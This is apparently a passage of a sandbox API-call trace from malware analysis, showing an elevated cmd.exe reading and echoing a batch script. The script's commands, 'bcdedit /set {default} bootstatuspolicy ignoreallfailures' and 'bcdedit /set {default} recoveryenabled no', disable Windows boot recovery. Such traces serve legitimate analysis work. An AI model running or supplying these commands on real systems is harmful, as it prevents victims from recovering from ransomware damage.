lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="et {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="t {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.582] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.582] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.582] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr=" {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.583] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.583] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.583] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="{default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.583] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.583] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.583] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr="default} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.583] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.583] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.583] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr="efault} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.583] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.583] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.583] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="fault} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.583] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.583] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.583] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr="ault} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.583] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.583] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.583] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr="ult} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="lt} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="t} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr="} bootstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr=" bootstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5e, cchWideChar=1 | out: lpWideCharStr="rootstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c60, cchWideChar=1 | out: lpWideCharStr="eotstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.584] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.584] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c62, cchWideChar=1 | out: lpWideCharStr="ctstatuspolicy ignoreallfailures\n") returned 1 [0131.584] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c64, cchWideChar=1 | out: lpWideCharStr="ostatuspolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c66, cchWideChar=1 | out: lpWideCharStr="vtatuspolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c68, cchWideChar=1 | out: lpWideCharStr="eatuspolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6a, cchWideChar=1 | out: lpWideCharStr="rtuspolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6c, cchWideChar=1 | out: lpWideCharStr="yuspolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c6e, cchWideChar=1 | out: lpWideCharStr="espolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c70, cchWideChar=1 | out: lpWideCharStr="npolicy ignoreallfailures\n") returned 1 [0131.585] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.585] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.585] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c72, cchWideChar=1 | out: lpWideCharStr="aolicy ignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c74, cchWideChar=1 | out: lpWideCharStr="blicy ignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c76, cchWideChar=1 | out: lpWideCharStr="licy ignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c78, cchWideChar=1 | out: lpWideCharStr="ecy ignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7a, cchWideChar=1 | out: lpWideCharStr="dy ignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7c, cchWideChar=1 | out: lpWideCharStr=" ignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7e, cchWideChar=1 | out: lpWideCharStr="nignoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c80, cchWideChar=1 | out: lpWideCharStr="ognoreallfailures\n") returned 1 [0131.586] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.586] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.586] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c82, cchWideChar=1 | out: lpWideCharStr="\nnoreallfailures\n") returned 1 [0131.587] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.587] GetFileType (hFile=0x248) returned 0x3 [0131.587] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.587] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.587] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.587] GetFileType (hFile=0x254) returned 0x3 [0131.587] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bcdedit /set {default} recoveryenabled no\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit /set {default} recoveryenabled no\n", lpUsedDefaultChar=0x0) returned 43 [0131.587] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x158ecffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffbe8*=0x2a, lpOverlapped=0x0) returned 1 [0131.587] GetProcessHeap () returned 0x20992a60000 [0131.587] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x4012) returned 0x20992a68da0 [0131.587] GetProcessHeap () returned 0x20992a60000 [0131.587] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0131.588] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0131.588] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0131.588] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0131.588] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0131.588] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0131.588] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0131.588] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0131.588] GetProcessHeap () returned 0x20992a60000 [0131.588] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xb0) returned 0x20992a66910 [0131.588] GetProcessHeap () returned 0x20992a60000 [0131.588] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x20) returned 0x20992a65da0 [0131.588] GetProcessHeap () returned 0x20992a60000 [0131.588] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x56) returned 0x20992a669d0 [0131.589] GetConsoleOutputCP () returned 0x1b5 [0131.589] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0131.589] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.589] GetConsoleTitleW (in: lpConsoleTitle=0x158ecffa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0131.589] malloc (_Size=0xffce) returned 0x20992c50840 [0131.589] ??_V@YAXPEAX@Z () returned 0x20992c50840 [0131.589] malloc (_Size=0xffce) returned 0x20992c60820 [0131.590] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0131.590] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0131.590] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0131.590] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0131.590] _wcsicmp (_String1="bcdedit", 